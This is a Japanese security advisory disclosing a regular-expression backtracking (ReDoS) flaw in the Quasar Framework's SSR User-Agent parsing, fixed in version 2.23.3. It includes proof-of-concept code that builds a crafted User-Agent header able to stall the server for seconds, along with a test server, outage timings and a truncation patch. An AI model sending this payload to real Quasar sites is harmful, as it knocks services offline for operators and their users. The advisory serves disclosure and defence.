Quasar Framework: ユーザーエージェントに対する超線形な正規表現のバックトラックにより、1つのリクエストがQuasar SSRサーバーを停止させる可能性がある。
### 概要
認証されていないリクエストで、特定の`User-Agent`ヘッダーを送信すると、Quasar SSRサーバーが数秒間停止する。
Quasarは、サーバーサイドレンダリングのたびに`Platform`プラグインを自動的にインストールし、`Platform.parseSSR()`関数は、生の、制限のない`User-Agent`リクエストヘッダーを`getMatch()`関数内の正規表現のバックトラックの連鎖に渡す。その正規表現のパターンの中には、貪欲なキャプチャに続いて、2つの制限のない`.*`スキャンが含まれており、そのため、作成されたヘッダーの長さに対して比例した時間がかかります。8KBの`User-Agent`ヘッダーは、Node.jsのイベントループを約4.4秒間ブロックし、16KBのヘッダーは、約35秒間ブロックします。その間、サーバーは誰もに応答できず、そのため、わずかな数の小さなリクエストが、SSRサイト全体を完全にオフラインにする可能性があります。
### 詳細
`Platform`は、`ui/src/install-quasar.js`の`autoInstalledPlugins`配列に含まれているため、`app.use(Quasar, ...)`によって無条件にインストールされます。生成されたSSRエントリー(`app-vite/templates/entry/app.js`、`app-vite/templates/entry/server-entry.js`から呼び出される)は、すべてのHTTPリクエストに対してこれを実行し、ルーティングの前に実行されるため、存在しないパスへのリクエストも影響を受けます。サーバー側では、プラグインはヘッダーをそのまま受け取ります(`ui/src/plugins/platform/Platform.js`):
```js
Platform.parseSSR = ssrContext => {
const ua =
ssrContext.req.headers['user-agent'] ||
ssrContext.req.headers['User-Agent'] ||
''
return { ...client, userAgent: ua, is: getPlatform(ua) }
}
```
`getPlatform()`関数は、文字列を小文字に変換し、`getMatch()`関数(`ui/src/plugins/platform/Platform.js:23-45`)に渡します。`getMatch()`関数は、順序付けられた`exec()`関数の連鎖を評価します。問題となっているのは、`ui/src/plugins/platform/Platform.js:32-34`にある6番目の代替パターンです。
```js
/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)
```
`([\w.]+)` は貪欲で、境界を持たないため、その後に2つの境界を持たない `.*` によるスキャンが続きます。入力に `webkit/` が含まれ、多くの `version/` トークンが含まれており、`safari/` が含まれていない場合、このパターンが失敗するのは、エンジンが「`([\w.]+)` がどこで停止するか」と「最初の `.*` がどの `version` の箇所に到達するか」と「2番目の `.*` が `safari` を探す範囲」のすべての組み合わせを試した後です。これは O(k * m * L) の状態数となり、以前の代替案のどれもこれを短絡させることができません。なぜなら、どの代替案も一致しないからです。5番目の代替案も同様の構造を持っています。
`ui/src/plugins/platform/Platform.js` からそのままコピーされた関数で測定した結果、ヘッダーのサイズが2倍になるごとに、コストが8倍になります。
```
UA 3998 バイト -> 554 ミリ秒
UA 7998 バイト -> 4368 ミリ秒 (nginx のデフォルトの `large_client_header_buffers` は 8k バイト)
UA 15998 バイト -> 34995 ミリ秒 (Node.js のデフォルトの `--max-http-header-size` は 16k バイト)
```
通常の文字で構成された同じ長さのヘッダーは 0.1 ミリ秒で処理されるため、問題は正規表現の処理であり、ヘッダーの長さそのものではありません。
クライアントサイドのレンダリングには影響はありません。クライアントサイドでは `getPlatform()` が `navigator.userAgent` のみを使用しますが、これは攻撃者が制御できません。この問題は、文字列がネットワーク経由で受信される SSR (サーバーサイドレンダリング) パスでのみ発生します。
### PoC (概念実証)
脆弱なパターンは、公開されているパッケージに含まれています。`quasar@2.23.1` の `node_modules/quasar/dist/quasar.server.prod.js` に以下のコードがあります。
```
function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
return{...F,userAgent:t,is:P(t)}};
```
ヘッダーを構築するコード例:
```js
const k = 3200 // 貪欲なキャプチャを最大化するためのダミーデータ
const m = 479 // 最初の `.*` が到達する "version/" トークンの数
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 バイト
```
エンドツーエンドのテストに使用されるサーバーで、Quasar SSRが行うのと全く同じ処理を、実際に公開されているパッケージを通して実行します。
```js
import http from 'node:http'
import { Platform } from 'quasar' // dist/quasar.server.prod.js に解決されます
http.createServer((req, res) => {
const platform = Platform.parseSSR({ req, res }) // app.use(Quasar, ...) が行う処理と同じ
res.end(`<!doctype html><html<body<browser=${platform.is.name}</body</html>`)
}).listen(3100, '127.0.0.1')
```
7998バイトのヘッダーを使ってこのサーバーをテストした結果:
```
[1] ベーライン - 通常のブラウザのUser-Agent
通常のUser-Agent, GET / status=200 13 ms
通常のUser-Agent, GET / (2回目) status=200 1 ms
[2] ネガティブコントロール - 同じ7998バイトの長さの通常のUser-Agent
同じサイズの通常のUser-Agent status=200 2 ms
[3] ポジティブ - 悪意のあるUser-Agent
悪意のあるUser-Agent, GET / status=200 4355 ms
[4] ポジティブ - 存在しないルートに対する悪意のあるUser-Agent
悪意のあるUser-Agent, GET /404path status=200 4319 ms
[5] 影響の確認 - 攻撃者が1つのリクエストを送信し、通常のユーザーが120ミリ秒後に到着
攻撃者 (悪意のあるUser-Agent) status=200 4329 ms
被害者 (通常のブラウザ、通常のUser-Agent) status=200 4208 ms
[6] 持続性 - 攻撃者のリクエストが5つ同時に発生し、被害者がサイトを読み込み中
被害者が5つのリクエストの同時攻撃を受けている間 status=200 21646 ms
```
重要なのはステップ5です。被害者は通常のUser-Agentを持つ通常のHTTPリクエストを送信し、4.2秒待機します。これは、イベントループが他のユーザーのヘッダーを処理しているためです。ステップ6は、攻撃者のトラフィックが39KBで、合計21.6秒のサービス停止を引き起こしていることを示しています。
ライブラリ自体のネガティブコントロール。インストール済みの `node_modules/quasar/dist/quasar.server.prod.js` の1行を変更しました。
```
- I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+ I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};
```
パッチが適用されたバージョンに対して、同一の攻撃を再度実行した結果:
```
[3] 悪意のあるUser-Agent、GET / ステータス=200 2 ms 以前は4355 ms
[4] 悪意のあるUser-Agent、GET /404path ステータス=200 2 ms 以前は4319 ms
[5] VICTIM (通常のブラウザ) ステータス=200 3 ms 以前は4208 ms
[6] 5リクエストの同時アクセス時のVICTIM ステータス=200 2 ms 以前は21646 ms
```
実際のブラウザの検出は、制限(`chrome 126.0.0.0`、プラットフォーム`linux`)によって影響を受けず、これは問題が、制限のない攻撃者の文字列が正規表現に到達することによって引き起こされていることを確認しています。
`parseSSR`を直接使用せず、生成されたエントリーポイントと同様にQuasarを起動するサーバーでも、同様の結果が得られます。この際、`install-quasar.js`が自動的にインストールされたプラグインリストを実行します。
```js
const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
```
```
[3] 悪意のあるUser-Agent、GET / ステータス=200 4354 ms
[5] VICTIM (通常のブラウザ、無害なUser-Agent) ステータス=200 4269 ms
[6] 5リクエストの同時アクセス時のVICTIM ステータス=200 21872 ms
[2] 同じサイズの無害なUser-Agent (7998 B) ステータス=200 2 ms
```
### 影響
非効率な正規表現の複雑さによって、リソースの消費が制御不能になる可能性があります。SSRモードで構築および提供されるすべてのアプリケーションに影響があり、SSRとPWAの両方、および`quasar dev -m ssr`と`quasar build -m ssr`の両方で影響を受けます。この機能をオフにするための設定はありません。なぜなら、`Platform`は自動的にインストールされるプラグインセットの一部であり、認証やユーザーとのインタラクションは一切関係ありません。認証されていない単一のGETリクエストが、どのパスに対してもペイロードを送信します。
Node.jsはシングルスレッドであるため、攻撃者の接続だけでコストが発生するわけではありません。他のすべてのアクセスもその背後に並んで待機します。上記の測定では、約40KBのトラフィックが20秒のダウンタイムを引き起こし、コストはヘッダーサイズの3乗に比例します。したがって、16KBのヘッダーを送信できる攻撃者は、1リクエストあたり約35秒のダウンタイムを引き起こす可能性があります。一般的なリバースプロキシは効果がありません。nginxはデフォルトで8KBのヘッダーを受け入れ、Nodeは16KBを受け入れます。
SPA、PWA、Electron、Cordova、Capacitor、またはブラウザ拡張機能向けのアプリケーションは影響を受けません。なぜなら、これらの環境ではパーサーが参照するのはローカルの`navigator.userAgent`のみだからです。静的サイトの生成も影響を受けません。なぜなら、そこで使用される`ssrContext`はリクエストではなく、開発者が提供するものだからです。
影響を受けるパッケージ:
- npm (JavaScript) quasar: 影響あり (バージョン 2.23.2以下)、2.23.3で修正済み。